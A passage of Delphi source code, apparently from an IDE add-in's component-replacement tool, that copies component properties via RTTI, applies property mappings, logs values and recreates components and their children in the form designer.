TPropInfo; DestPropList: TPropList; Mappings: TCompRepMapList); procedure AssignPropValue(const ConstExpression: string; DestObject: TObject; DestInfo: PPropInfo); procedure ExecutePropAssignWithConst(NewCompIntf: IOTAComponent; DestPropInfo: TPropInfo; DestPropList: TPropList; const ConstExpression, DestExpression: string); procedure LogPropValue(CompIntf: IOTAComponent; PropInfo: TPropInfo; const APropExpression: string; LogOnlyIfDef: Boolean); function CanRead(Instance: TObject; APropInfo: PPropInfo): Boolean; function CanWrite(Instance: TObject; APropInfo: PPropInfo): Boolean; protected function GetIntegerPropByName(const PropName: string; DefaultVal: Integer = -1): Longint; property Stream: TMemoryStream read FStream; public // We deliberately hide the base virtual method constructor Create(Controller: TCompRepController; CompIntf: IOTAComponent); reintroduce; destructor Destroy; override; function IndexOfProp(const APropName: string): Integer; procedure SetComponent(CompIntf: IOTAComponent); function GetName: string; function GetLeft: Longint; function GetTop: Longint; function GetWidth: Longint; function GetHeight: Longint; property Prop[Index: Integer]: TPropInfo read GetPropInfo; default; end; TCompList = class(TOwnerList) private FController: TCompRepController; procedure EnumChildren(Param: Pointer; CompIntf: IOTAComponent; var Result: Boolean); function GetCompInfo(Index: Integer): TCompInfo; procedure ForEachChild(AProc: TCompInfoProc; AData: Pointer; var Stop: Boolean); protected function FindComponent(CompIntf: IOTAComponent): TCompInfo; procedure GetMatchingComponents(List: TStrings; const OldType: string); function Replace(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; function Search(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; procedure CommitReplace(OwnerLevel: Integer); public // We deliberately hide the base virtual method constructor Create(Controller: TCompRepController; CompIntf: IOTAComponent); reintroduce; property Children[Index: Integer]: TCompInfo read GetCompInfo; default; end; TCompInfo = class private FTypeName: string; FProperties: TPropList; FChildren: TCompList; FInterface: IOTAComponent; FController: TCompRepController; FNewInterface: IOTAComponent; FOldName: string; procedure SetInterface(NewIntf: IOTAComponent); procedure UpdateComponentParent(AParent: TCompInfo; AComponent: IOTAComponent); procedure UpdateComponentProperties(ADestComponent: IOTAComponent); procedure SetNewInterface(const Value: IOTAComponent); procedure CommitReplace(OwnerLevel: Integer); procedure RelinkComponents(OldCompInterface, NewCompInterface: IOTAComponent); procedure UpdateName; procedure AddReplacedChild(ACompInfo: TCompInfo; AData: Pointer; var Stop: Boolean); procedure RelinkByComponents(PropOwner: TComponent; OldObject, NewObject: TObject; IgnoredList: TList); procedure RelinkByControls(PropOwner: TControl; OldObject, NewObject: TObject; IgnoredList: TList); procedure RelinkByNotification(PropOwner: TObject; OldObject, NewObject: TObject; IgnoredList: TList); function GetAsNativeObject: TObject; procedure ReplaceLinks(PropOwner: TObject; OldObject, NewObject: TObject); function GetLatestInterface: IOTAComponent; protected function FindComponent(CompIntf: IOTAComponent): TCompInfo; function Search(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; function Replace(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; procedure CreateComponent(Parent: TCompInfo; FormEditor: IOTAFormEditor; const NewType: string); procedure GetMatchingComponents(List: TStrings; const OldType: string); procedure ForEachChild(AProc: TCompInfoProc; AData: Pointer; var Stop: Boolean); public constructor Create(Controller: TCompRepController; CompIntf: IOTAComponent); destructor Destroy; override; function GetName: string; property TypeName: string read FTypeName write FTypeName; property Children: TCompList read FChildren; property Properties: TPropList read FProperties; property ComponentInterface: IOTAComponent read FInterface write SetInterface; property NewComponentInterface: IOTAComponent read FNewInterface write SetNewInterface; property LatestComponentInterface: IOTAComponent read GetLatestInterface; end; TFormInfo = class private FCompInfo: TCompInfo; FInterface: IOTAFormEditor; FController: TCompRepController; protected function FindComponent(CompIntf: IOTAComponent): TCompInfo; public constructor Create(Controller: TCompRepController; FormEditor: IOTAFormEditor); destructor Destroy; override; procedure GetMatchingComponents(List: TStrings; const OldType: string); procedure GetSelectedComponents(List: TStrings; const OldType: string); function ReplaceComponents(List: TStrings; const NewType: string): Integer; property Component: TCompInfo read FCompInfo; property FormInterface: IOTAFormEditor read FInterface; end; implementation uses GX_OtaUtils, ComCtrls, Windows, Variants, {$IFOPT D+} GX_DbugIntf, {$ENDIF} {$IFDEF GX_VER170_up} WideStrings, {$ENDIF} GX_GenericUtils, GX_ReplaceCompUtils; const BufferSize = 8192; resourcestring sCannotCreate = 'Cannot create a new %s'; type EGetPropException = class(Exception); {$IFDEF Use_HackedComponent} THackedComponent = class(TPersistent, IInterface, IInterfaceComponentReference) private FOwner: TComponent; FName: TComponentName; FTag: Longint; FComponents: TList; FFreeNotifies: TList; end; {$ENDIF} { TPropInfo } constructor TPropInfo.Create(Controller: TCompRepController; Index: Integer; CompIntf: IOTAComponent); resourcestring SReadErr = 'Error while reading property %s from component %s'; begin inherited Create; FController := Controller; FPropName := CompIntf.GetPropName(Index); FPropType := CompIntf.GetPropType(Index); try CompIntf.GetPropValue(Index, FPropValue); // TWebBrowser raises exceptions reading properties like Resizable/StatusText except on E: Exception do begin FController.HandleException(E, Format(SReadErr, [CompIntf.GetPropName(Index), CompIntf.GetComponentType])); end; end end; { Set the property value in the component, but only if it has a property of the same name and type. } procedure TPropInfo.SetComponent(CompIntf: IOTAComponent); resourcestring SSetError = 'Component error setting %s.%s: %s'; var NewType: TTypeKind; Comp: TPersistent; PropInfo: PPropInfo; begin Comp := GxOtaGetNativePersistent(CompIntf); Assert(Assigned(Comp)); PropInfo := GetPropInfo(Comp, Name); // If the property is read only, we should not try to set it if Assigned(PropInfo) and (not Assigned(PropInfo.SetProc)) then Exit; NewType := CompIntf.GetPropTypeByName(Name); if NewType = PropType then try CompIntf.SetPropByName(Name, FPropValue); except on E: Exception do raise Exception.CreateFmt(SSetError, [Comp.ClassName, Name, E.Message]); end; end; function TPropInfo.GetIntValue(Default: Integer): Integer; begin if PropType in [tkInteger, tkChar, tkEnumeration, tkSet, tkWChar] then Result := PropValue.IntegerValue else Result := Default end; function TPropInfo.GetStrValue(const Default: string): string; begin if PropType in [tkString, tkLString] then Result := string(AnsiString(PropValue.PtrValue)) else if PropType in [tkWString] then Result := WideString(PropValue.PtrValue) {$IFDEF GX_VER200_up} else if PropType in [tkUString] then Result := string(PropValue.PtrValue) {$ENDIF} else Result := Default end; type TExposePersistent = class(TPersistent) public procedure DefineProperties(Filer: TFiler); override; end; procedure TExposePersistent.DefineProperties(Filer: TFiler); begin inherited DefineProperties(Filer); end; { TPropList } constructor TPropList.Create(Controller: TCompRepController; CompIntf: IOTAComponent); var i: Integer; Comp: TExposePersistent; Writer: TWriter; PropInfo: PPropInfo; begin inherited Create; Comp := TExposePersistent(GxOtaGetNativePersistent(CompIntf)); Assert(Assigned(Comp)); FController := Controller; FLeft := -1; FTop := -1; for i := 0 to CompIntf.GetPropCount-1 do begin PropInfo := TypInfo.GetPropInfo(Comp, CompIntf.GetPropName(i)); // If the property is write only, we should not try to get the value if Assigned(PropInfo) and (Assigned(PropInfo.GetProc)) then try // These two properties result in "Not implemented" type errors in several IDE releases (recently tested in XE4) if (CompIntf.GetComponentType = 'TWebBrowser') and (StringInArray(string(PropInfo.Name), ['StatusText', 'Resizable'])) then Continue; Add(TPropInfo.Create(FController, i, CompIntf)); except on E: EGetPropException do // Ignore EGetPropException, since it is non-fatal end; end; FStream := TMemoryStream.Create; Writer := TWriter.Create(Stream, BufferSize); try Comp.DefineProperties(Writer); finally Writer.Free; end; // Manual support for Top/Left for non-visual components if ((Comp.InheritsFrom(TComponent)) and (not Comp.InheritsFrom(TControl))) then begin FLeft := LongRec(TComponent(Comp).DesignInfo).Lo; FTop := LongRec(TComponent(Comp).DesignInfo).Hi; end; end; destructor TPropList.Destroy; begin FStream.Free; inherited Destroy; end; function TPropList.GetPropInfo(Index: Integer): TPropInfo; begin Result := TObject(Items[Index]) as TPropInfo; end; procedure TPropList.SetComponent(CompIntf: IOTAComponent); begin Assert(Assigned(CompIntf)); AssignPropsToCompByLoop(CompIntf); SetComponentDefProps(CompIntf); end; procedure TPropList.CopyComponentProps(OldCompIntf, NewCompIntf: IOTAComponent); begin Assert(Assigned(OldCompIntf) and Assigned(NewCompIntf)); AssignPropsToCompByMapping(OldCompIntf, NewCompIntf); SetComponentDefProps(NewCompIntf); end; procedure TPropList.AssignPropsToCompByLoop(CompIntf: IOTAComponent); var i: Integer; begin for i := 0 to Count-1 do if not SameText(Prop[i].Name, 'Name') then Prop[i].SetComponent(CompIntf); end; // For each property: 1) find mappings, 2) execute assign procedure TPropList.AssignPropsToCompByMapping(OldCompIntf, NewCompIntf: IOTAComponent); var i: Integer; Mappings: TCompRepMapList; NewCompClassName, CompClassName: string; NewPropList: TPropList; begin CompClassName := OldCompIntf.GetComponentType; NewCompClassName := NewCompIntf.GetComponentType; Mappings := TCompRepMapList.Create; try NewPropList := TPropList.Create(FController, NewCompIntf); try // Apply defined copy property mappings for i := 0 to Count-1 do if not SameText(Prop[i].Name, 'Name') then begin Mappings.Clear; FController.PrepareMappingForProp(CompClassName, Prop[i].Name, Mappings); ExecutePropAssignWithMapping(OldCompIntf, NewCompIntf, Prop[i], NewPropList, Mappings); end; // Apply defined constant mappings for i := 0 to NewPropList.Count-1 do if not SameText(NewPropList[i].Name, 'Name') then begin Mappings.Clear; FController.PrepareConstMappingForProp(NewCompClassName, NewPropList[i].Name, Mappings); ExecutePropAssignWithConstList(NewCompIntf, NewPropList[i], NewPropList, Mappings); end; finally NewPropList.Free; end; finally Mappings.Free; end; end; { - if direct mapping found then if Disabled - skip direct assignment else assign values else (mapping not found) assign values by the same name - execute all non-direct mappings if not disabled } procedure TPropList.ExecutePropAssignWithMapping(OldCompIntf: IOTAComponent; NewCompIntf: IOTAComponent; SourcePropInfo: TPropInfo; DestPropList: TPropList; Mappings: TCompRepMapList); var DirectFound: Boolean; Idx, i: Integer; LogValuesForced: Boolean; begin DirectFound := False; LogValuesForced := FController.IsLogValuesForced; for i := 0 to Mappings.Count-1 do begin if SameText(Mappings[i].SourcePropName, SourcePropInfo.Name) then DirectFound := True; if LogValuesForced or Mappings[i].LogValuesEnabled then LogPropValue(OldCompIntf, SourcePropInfo, Mappings[i].SourcePropName, Mappings[i].LogOnlyDefValuesEnabled and not LogValuesForced); if not Mappings[i].Disabled then ExecutePropAssign(OldCompIntf, NewCompIntf, SourcePropInfo, DestPropList, Mappings[i].SourcePropName, Mappings[i].DestPropName); end; if not DirectFound then begin if LogValuesForced then LogPropValue(OldCompIntf, SourcePropInfo, SourcePropInfo.Name, False); Idx := DestPropList.IndexOfProp(SourcePropInfo.Name); if Idx >= 0 then ExecutePropAssign(OldCompIntf, NewCompIntf, SourcePropInfo, DestPropList, SourcePropInfo.Name, SourcePropInfo.Name); end; end; procedure TPropList.ExecutePropAssignWithConstList(NewCompIntf: IOTAComponent; DestPropInfo: TPropInfo; DestPropList: TPropList; Mappings: TCompRepMapList); var i: Integer; begin for i := 0 to Mappings.Count-1 do begin if (not Mappings[i].UseConstValue) or Mappings[i].Disabled then Continue; ExecutePropAssignWithConst(NewCompIntf, DestPropInfo, DestPropList, Mappings[i].ConstValue, Mappings[i].DestPropName); end; end; function TPropList.CanRead(Instance: TObject; APropInfo: PPropInfo): Boolean; begin Result := Assigned(APropInfo.GetProc); end; function TPropList.CanWrite(Instance: TObject; APropInfo: PPropInfo): Boolean; begin Result := Assigned(APropInfo.SetProc); if (not Result) and (APropInfo^.PropType^.Kind in [tkClass]) then Result := (ClassLevel(TStrings, GetObjectPropClass(Instance, string(APropInfo.Name))) >= 0); end; procedure TPropList.ExecutePropAssign(OldCompIntf: IOTAComponent; NewCompIntf: IOTAComponent; SourcePropInfo: TPropInfo; DestPropList: TPropList; const SourceExpression, DestExpression: string); resourcestring SSetError = 'Component error setting %s.%s'; var SourceInfo, DestInfo, DestParentInfo: PPropInfo; SourceObj, DestObj, DestParentObj: TObject; begin FindPropInfo(OldCompIntf, Self, SourceExpression, SourceInfo, SourceObj); FindPropInfoEx(NewCompIntf, DestPropList, DestExpression, DestInfo, DestObj, DestParentInfo, DestParentObj); if CheckCompNameAssign(SourceObj, SourceInfo, DestExpression, DestObj, DestInfo, DestParentObj, DestParentInfo, NewCompIntf) then Exit; if (SourceInfo = nil) or (DestInfo = nil) or (not CanRead(SourceObj, SourceInfo)) or (not CanWrite(DestObj, DestInfo)) then begin {$IFOPT D+} SendDebugFmt('Property not assigned: %s.%s -> %s', [GetName, SourceExpression, DestExpression]); {$ENDIF} Exit; end; {$IFOPT D+} SendDebugFmt('Trying to assign: %s.%s -> %s', [GetName, SourceExpression, DestExpression]); {$ENDIF} try CopyPropValue(SourceObj, SourceInfo, DestObj, DestInfo); except on E: Exception do begin FController.HandleException(E, Format(SSetError, [DestObj.ClassName, DestInfo.Name])); end; end; end; procedure TPropList.LogPropValue(CompIntf: IOTAComponent; PropInfo: TPropInfo; const APropExpression: string; LogOnlyIfDef: Boolean); resourcestring SReadCtx = 'Retrieving property value: %s.%s.%s'; SSaveCtx = 'Saving property value: %s.%s.%s to log'; SUnknownExpr = 'Unknown property expression: %s.%s'; SPropValue = 'Property value: %s.%s.%s = %s'; var ValueObj: TObject; ValuePropInfo: PPropInfo; Context: string; PropValue: string; begin try Context := Format(SReadCtx, [CompIntf.GetComponentType, GetName, APropExpression]); FindPropInfo(CompIntf, Self, APropExpression, ValuePropInfo, ValueObj); if (ValuePropInfo=nil) or (ValueObj=nil) then raise Exception.Create(Format(SUnknownExpr, [CompIntf.GetComponentType, APropExpression])); Context := Format(SSaveCtx, [CompIntf.GetComponentType, GetName, APropExpression]); if (ValuePropInfo^.GetProc<>nil) and ((not LogOnlyIfDef) or (IsDefaultPropertyValue(ValueObj, ValuePropInfo))) then begin if ValuePropInfo^.PropType^.Kind in [tkClass, tkMethod, tkInterface] then begin if IsDefaultPropertyValue(ValueObj, ValuePropInfo) then PropValue := '[ default / nil ]' else PropValue := '[ assigned ]'; end else begin if not IsDefaultPropertyValue(ValueObj, ValuePropInfo) then PropValue := '[ changed ]' else PropValue := ''; PropValue := VarToStr(GetPropValue(ValueObj, string(ValuePropInfo.Name))) + ' '+ PropValue; end; FController.LogMsg(Format(SPropValue, [CompIntf.GetComponentType, GetName, ValuePropInfo.Name, PropValue])); end; except on E: Exception do FController.HandleException(E, Context); end; end; procedure TPropList.ExecutePropAssignWithConst(NewCompIntf: IOTAComponent; DestPropInfo: TPropInfo; DestPropList: TPropList; const ConstExpression, DestExpression: string); resourcestring SSetError = 'Component error setting %s.%s'; var DestInfo: PPropInfo; DestObj: TObject; begin FindPropInfo(NewCompIntf, DestPropList, DestExpression, DestInfo, DestObj); if (DestInfo = nil) or (not Assigned(DestInfo.SetProc)) then begin {$IFOPT D+} SendDebug(Format('Property not assigned: %s.%s -> %s', [ GetName, ConstExpression, DestExpression])); {$ENDIF} Exit; end; {$IFOPT D+} SendDebug(Format('Trying to assign: %s.%s -> %s', [ GetName, ConstExpression, DestExpression])); {$ENDIF} try AssignPropValue(ConstExpression, DestObj, DestInfo); except on E: Exception do begin FController.HandleException(E, Format(SSetError, [DestObj.ClassName, DestInfo.Name])); end; end; end; function TPropList.CheckCompNameAssign(SourceObject: TObject; SourceInfo: PPropInfo; const DestExpression: string; DestObject: TObject; DestInfo: PPropInfo; DestParentObject: TObject; DestParentInfo: PPropInfo; NewCompIntf: IOTAComponent): Boolean; resourcestring SCompNF = 'Component not found: "%s"'; SCompNameAssignCtx = 'Checking component name assign %s.%s'; var DestPropOwner: TComponent; NewDestComponent: TComponent; PropTail, PropName, ParentPropName: string; CompName: string; DestClass: string; DestName: string; begin Result := False; try DestPropOwner := GxOtaGetNativeComponent(NewCompIntf); if (DestParentObject = nil) or (DestParentInfo = nil) then Exit; if not (SourceInfo.PropType^.Kind in [tkString, tkLString {$IFDEF GX_VER200_up}, tkUString{$ENDIF}]) then Exit; if ClassLevel(GetObjectPropClass(DestParentObject, string(DestParentInfo.Name)), TComponent) < 0 then Exit; PropTail := ReverseString(DestExpression); PropName := ReverseString(ExtractToken(PropTail, '.')); ParentPropName := ReverseString(ExtractToken(PropTail, '.')); if (not SameText(PropName, 'Name')) or (not SameText(ParentPropName, string(DestParentInfo.Name))) then Exit; CompName := GetStrProp(SourceObject, string(SourceInfo.Name)); if Trim(CompName)<>'' then begin NewDestComponent := FindComponentByOwner(DestPropOwner, CompName); if NewDestComponent = nil then raise Exception.Create(Format(SCompNF, [CompName])); end else NewDestComponent := nil; SetObjectProp(DestParentObject, string(DestParentInfo.Name), NewDestComponent); Result := True; except on E: Exception do begin DestClass := ''; DestName := ''; if Assigned(DestObject) then DestClass := DestObject.ClassName; if Assigned(DestInfo) then DestName := string(DestInfo.Name); FController.HandleException(E, Format(SCompNameAssignCtx, [DestClass, DestName])); end; end; end; function TPropList.FindComponentByOwner(OwnerComp: TComponent; const CompName: string): TComponent; begin if OwnerComp<>nil then begin Result := OwnerComp.FindComponent(CompName); if Result = nil then Result := FindComponentByOwner(OwnerComp.Owner, CompName); end else Result := nil; end; procedure TPropList.CopyPropValue(SourceObject: TObject; SourceInfo: PPropInfo; DestObject: TObject; DestInfo: PPropInfo); resourcestring SRODest = 'Invalid destination - read-only: %s.%s'; var SourceObj: TObject; DestObj: TObject; SourceType, DestType: TTypeKind; begin SourceType := SourceInfo.PropType^.Kind; DestType := DestInfo.PropType^.Kind; // Same property types if SourceType = DestType then begin case SourceType of tkClass: begin SourceObj := GetObjectProp(SourceObject, string(SourceInfo.Name)); DestObj := GetObjectProp(DestObject, string(DestInfo.Name)); if DestInfo.SetProc = nil then begin // Setter is nil - only TStrings is handled here if (SourceObj is TStrings) and (DestObj is TStrings) then // Both TStrings (DestObj as TStrings).Text := (SourceObj as TStrings).Text else // Impossible case (no setter & not TStrings) raise Exception.Create(Format(SRODest, [DestObject.ClassName, DestInfo.Name])); end else // Setter is available begin {$IFDEF GX_VER170_up} // Tested as working in BDS 2006 if (SourceObj is TStrings) and (DestObj is TWideStrings) then // TStrings -> TWideStrings (DestObj as TWideStrings).Text := (SourceObj as TStrings).Text else if (SourceObj is TWideStrings) and (DestObj is TStrings) then // TWideStrings -> TStrings (DestObj as TStrings).Text := (SourceObj as TWideStrings).Text else {$ENDIF GX_VER170_up} begin // TTouchManager assignments cause the new component to be corrupt when the old component is deleted in 2010/XE if (SourceInfo.Name = 'Touch') and (SourceInfo.PropType^.Name = 'TTouchManager') then Exit; SetObjectProp(DestObject, string(DestInfo.Name), GetObjectProp(SourceObject, string(SourceInfo.Name))); end; end; end; // tkClass tkMethod: SetMethodProp(DestObject, string(DestInfo.Name), GetMethodProp(SourceObject, string(SourceInfo.Name))); else SetPropValue(DestObject, string(DestInfo.Name), GetPropValue(SourceObject, string(SourceInfo.Name))); end // case end // Same type else // Different property types begin // Different types but both can be a variant if (SourceType <> tkClass) and (DestType <> tkClass) then SetPropValue(DestObject, string(DestInfo.Name), GetPropValue(SourceObject, string(SourceInfo.Name))) else // Class on one side only begin // Test for TStrings on source side if (SourceType = tkClass) then begin SourceObj := GetObjectProp(SourceObject, string(SourceInfo.Name)); if SourceObj is TStrings then SetPropValue(DestObject, string(DestInfo.Name), (SourceObj as TStrings).Text) {$IFDEF GX_VER170_up} else if SourceObj is TWideStrings then SetPropValue(DestObject, string(DestInfo.Name), (SourceObj as TWideStrings).Text) {$ENDIF GX_VER170_up} end // Test for T[Wide]Strings on dest side else if DestType = tkClass then begin DestObj := GetObjectProp(DestObject, string(DestInfo.Name)); if DestObj is TStrings then (DestObj as TStrings).Text := GetPropValue(SourceObject, string(SourceInfo.Name)) {$IFDEF GX_VER170_up} else if DestObj is TWideStrings then (DestObj as TWideStrings).Text := GetPropValue(SourceObject, string(SourceInfo.Name)) {$ENDIF GX_VER170_up} end; end; end; end; procedure TPropList.AssignPropValue(const ConstExpression: string; DestObject: TObject; DestInfo: PPropInfo); resourcestring SAssignFailedForDestClass = 'Assigning const failed - wrong destination class: %s.%s'; var SList: TStrings; begin if not (DestInfo.PropType^.Kind in [tkClass]) then SetPropValue(DestObject, string(DestInfo.Name), ConstExpression) else // Class on dest side begin // Test for TStrings on dest side if (DestInfo.PropType^.Kind in [tkClass]) and (ClassLevel(TStrings, GetObjectPropClass(DestObject, string(DestInfo.Name))) >= 0) then begin SList := GetObjectProp(DestObject, string(DestInfo.Name)) as TStrings; if Assigned(SList) then SList.Text := ConstExpression; end else raise Exception.Create(Format(SAssignFailedForDestClass, [DestObject.ClassName, DestInfo.Name])); end; end; procedure TPropList.FindPropInfo(CompIntf: IOTAComponent; PropList: TPropList; const PropExpression: string; var VPropInfo: PPropInfo; var Obj: TObject); var TempPropInfo: PPropInfo; TempObj: TObject; begin FindPropInfoEx(CompIntf, PropList, PropExpression, VPropInfo, Obj, TempPropInfo, TempObj); end; procedure TPropList.FindPropInfoEx(CompIntf: IOTAComponent; PropList: TPropList; const PropExpression: string; var VPropInfo: PPropInfo; var Obj: TObject; var VParentPropInfo: PPropInfo; var ParentObj: TObject); var PropName, PropTail: string; PersObject: TPersistent; RawObject: TObject; begin PropTail := PropExpression; PropName := ExtractToken(PropTail, '.'); PersObject := GxOtaGetNativePersistent(CompIntf); VParentPropInfo := nil; ParentObj := nil; Obj := nil; VPropInfo := TypInfo.GetPropInfo(PersObject, PropName); while (VPropInfo <> nil) and (PropTail <> '') do begin // save parent VParentPropInfo := VPropInfo; ParentObj := PersObject; if VPropInfo.PropType^.Kind <> tkClass then begin VPropInfo := nil; Break; end; if PersObject<>nil then RawObject := GetObjectProp(PersObject, VPropInfo) else RawObject := nil; if not (RawObject is TPersistent) then begin VPropInfo := nil; Break; end; // assign new output values PropName := ExtractToken(PropTail, '.'); VPropInfo := TypInfo.GetPropInfo( GetObjectPropClass(PersObject, string(VPropInfo.Name)), PropName); PersObject := RawObject as TPersistent; end; if VPropInfo<>nil then Obj := PersObject else Obj := nil; end; procedure TPropList.SetComponentDefProps(CompIntf: IOTAComponent); resourcestring SReadErr = 'Reading properties using DefineProperties for %s'; var Reader: TReader; Comp: TExposePersistent; begin try Comp := TExposePersistent(GxOtaGetNativePersistent(CompIntf)); Stream.Position := 0; Reader := TReader.Create(Stream, BufferSize); try Comp.DefineProperties(Reader); finally Reader.Free; end; except on E: Exception do begin FController.HandleException(E, Format(SReadErr, [CompIntf.GetComponentType])); end; end end; // Manually set Top/Left for non-visual TComponents procedure TPropList.SetComponentPosition(ADestComponent: IOTAComponent); var NewComp: TComponent; begin if FLeft <> -1 then begin NewComp := GxOtaGetNativeComponent(ADestComponent); if Assigned(NewComp) then NewComp.DesignInfo := MakeLong(FLeft, FTop); end; end; function TPropList.IndexOfProp(const APropName: string): Integer; begin Result := Count-1; while Result >= 0 do if SameText(Self[Result].Name, APropName) then Break else Dec(Result); end; { Lookup a property by name, and if it is an Integer, then return the Integer value. Otherwise, return default value. } function TPropList.GetIntegerPropByName(const PropName: string; DefaultVal: Integer): Longint; var Idx: Integer; begin Result := DefaultVal; Idx := IndexOfProp(PropName); if Idx >= 0 then Result := Prop[Idx].GetIntValue(DefaultVal); end; function TPropList.GetLeft: Longint; begin Result := GetIntegerPropByName('Left', FLeft) end; function TPropList.GetTop: Longint; begin Result := GetIntegerPropByName('Top', FTop) end; function TPropList.GetWidth: Longint; begin Result := GetIntegerPropByName('Width', NonVisibleDefSize) end; function TPropList.GetHeight: Longint; begin Result := GetIntegerPropByName('Height', NonVisibleDefSize) end; { Get the value of the Name property. } function TPropList.GetName: string; var Idx: Integer; begin Result := ''; Idx := IndexOfProp('Name'); if Idx >= 0 then Result := Prop[Idx].GetStrValue(''); end; { TCompList } procedure TCompList.EnumChildren(Param: Pointer; CompIntf: IOTAComponent; var Result: Boolean); begin Self.Add(TCompInfo.Create(FController, CompIntf)); Result := True; end; constructor TCompList.Create(Controller: TCompRepController; CompIntf: IOTAComponent); begin inherited Create; FController := Controller; CompIntf.GetChildren(nil, EnumChildren); end; function TCompList.GetCompInfo(Index: Integer): TCompInfo; begin Result := TObject(Items[Index]) as TCompInfo; end; { Look for a component represented by CompIntf. Return nil for not found. } function TCompList.FindComponent(CompIntf: IOTAComponent): TCompInfo; var i: Integer; begin Result := nil; for i := 0 to Count-1 do begin Result := Children[i].FindComponent(CompIntf); if Result <> nil then Exit; end; end; procedure TCompList.ForEachChild(AProc: TCompInfoProc; AData: Pointer; var Stop: Boolean); var i: Integer; begin for i := 0 to Count-1 do begin AProc(Children[i], AData, Stop); if Stop then Break; Children[i].ForEachChild(AProc, AData, Stop); end; end; function TCompList.Replace(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; var i: Integer; begin Result := 0; for i := 0 to Count-1 do Inc(Result, Children[i].Replace(Parent, FormEditor, List, NewType)); end; function TCompList.Search(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; var i: Integer; begin Result := 0; for i := 0 to Count-1 do Inc(Result, Children[i].Search(Parent, FormEditor, List, NewType)); end; { Add to List all components whose type is OldType. } procedure TCompList.GetMatchingComponents(List: TStrings; const OldType: string); var i: Integer; begin for i := 0 to Count-1 do Children[i].GetMatchingComponents(List, OldType); end; procedure TCompList.CommitReplace(OwnerLevel: Integer); var i: Integer; begin for i := 0 to Count-1 do Children[i].CommitReplace(OwnerLevel); end; { TCompInfo } constructor TCompInfo.Create(Controller: TCompRepController; CompIntf: IOTAComponent); begin inherited Create; FController := Controller; FChildren := TCompList.Create(FController, CompIntf); FProperties := TPropList.Create(FController, CompIntf); FTypeName := CompIntf.GetComponentType; FInterface := CompIntf; end; destructor TCompInfo.Destroy; begin Children.Free; Properties.Free; inherited Destroy; end; { Change the component interface reference. Take care now to free the old interface until it is safe to do so. } procedure TCompInfo.SetInterface(NewIntf: IOTAComponent); begin FInterface := NewIntf; end; { Create a new component of type NewType, duplicating the old component's properties. } procedure TCompInfo.CreateComponent(Parent: TCompInfo; FormEditor: IOTAFormEditor; const NewType: string); resourcestring SUpdParent = 'Updating Parent'; var NewComponent: IOTAComponent; OldGroup: TPersistentClass; begin if GxOtaActiveDesignerIsVCL then OldGroup := ActivateClassGroup(Controls.TControl) else OldGroup := nil; // Not necessary?: ActivateClassGroup(QControls.TControl); try FOldName := GetName; Assert(Assigned(Parent), 'Parent not assigned'); Assert(Assigned(Parent.LatestComponentInterface), 'Parent.LatestComponentInterface not assigned'); with Properties do try {$IFOPT D+} SendDebug(Format('Creating with pos: (Left=%d, Top=%d', [GetLeft, GetTop])); {$ENDIF} // If this starts crashing try IDesigner.CreateComponent NewComponent := FormEditor.CreateComponent(Parent.LatestComponentInterface, NewType, GetLeft, GetTop, GetWidth, GetHeight); except on E: Exception do raise Exception.Create('Error calling IOTAFormEditor.CreateComponent: ' + E.Message); end; finally if OldGroup <> nil then ActivateClassGroup(OldGroup); end; if NewComponent = nil then raise Exception.CreateFmt(sCannotCreate, [NewType]); NewComponentInterface := NewComponent; UpdateComponentProperties(NewComponent); try // Update prent UpdateComponentParent(Parent, NewComponent); except on E: Exception do FController.HandleException(E, SUpdParent); end; end; procedure TCompInfo.UpdateComponentParent(AParent: TCompInfo; AComponent: IOTAComponent); var OldObject, NewObject: TObject; OldParentObject, NewParentObject: TObject; begin OldObject := GxOtaGetNativePersistent(ComponentInterface); OldParentObject := GxOtaGetNativePersistent(AParent.ComponentInterface); NewObject := GxOtaGetNativePersistent(AComponent); NewParentObject := GxOtaGetNativePersistent(AParent.LatestComponentInterface); if (OldObject is TComponent) and (TFriendComponent(OldObject).GetParentComponent = OldParentObject) and (NewObject is TComponent) and (NewParentObject is TComponent) and (TFriendComponent(NewObject).GetParentComponent = nil) then TFriendComponent(NewObject).SetParentComponent(TComponent(NewParentObject)); if (NewObject is TTabSheet) and (NewParentObject is TPageControl) then TTabSheet(NewObject).PageControl := TPageControl(NewParentObject); if (OldObject is TWinControl) and (OldParentObject is TWinControl) and (TWinControl(OldObject).Parent = OldParentObject) and (NewObject is TWinControl) and (NewParentObject is TWinControl) then TWinControl(NewObject).Parent := TWinControl(NewParentObject); end; procedure TCompInfo.UpdateComponentProperties(ADestComponent: IOTAComponent); begin Properties.CopyComponentProps(ComponentInterface, ADestComponent); Properties.SetComponentPosition(ADestComponent); end; procedure TCompInfo.UpdateName; var Comp: TComponent; begin Comp := GxOtaGetNativeComponent(ComponentInterface); if Assigned(Comp) then Comp.Name := FOldName; end; { Return the component's name, that is, the value of its Name property. } function TCompInfo.GetName: string; begin Result := Properties.GetName; end; { Search for the component whose interface is CompIntf. Return nil for not found. To search for an interface, compare component handles, which are unique among all existing components. } function TCompInfo.FindComponent(CompIntf: IOTAComponent): TCompInfo; begin if GxOtaComponentsAreEqual(CompIntf, ComponentInterface) then Result := Self else Result := Children.FindComponent(CompIntf); end; { Find all components whose type is OldType; add the names of the matching components to List. } procedure TCompInfo.GetMatchingComponents(List: TStrings; const OldType: string); begin Children.GetMatchingComponents(List, OldType); if SameText(TypeName, OldType) then List.Add(GetName); end; { Create a component and its children. If the component is named in List, use NewType for its type. } function TCompInfo.Replace(Parent: TCompInfo; FormEditor: IOTAFormEditor; List: TStrings; const NewType: string): Integer; var Index: Integer; Count: Integer; StackName: string; begin StackName := GetName; FController.SignalStackBegin(StackName); try Index := List.IndexOf(StackName); if Index < 0 then begin { Not in list, so use old type name. } CreateComponent(Parent, FormEditor, TypeName); Count := 0; end else begin { Create component with new type name. } List.Delete(Index); CreateComponent(Parent, FormEditor, NewType); Count := 1; end; { Recursively recreate child components. } Result := Children.Replace(Self, FormEditor, List, NewType) + Count; finally FController.SignalStackEnd(StackName); end; end; { If this component's name is in List, delete it and recreate the component using type, NewType, and recursively recreate its children. If any children are in List, recreate them with the NewType. If this component is not 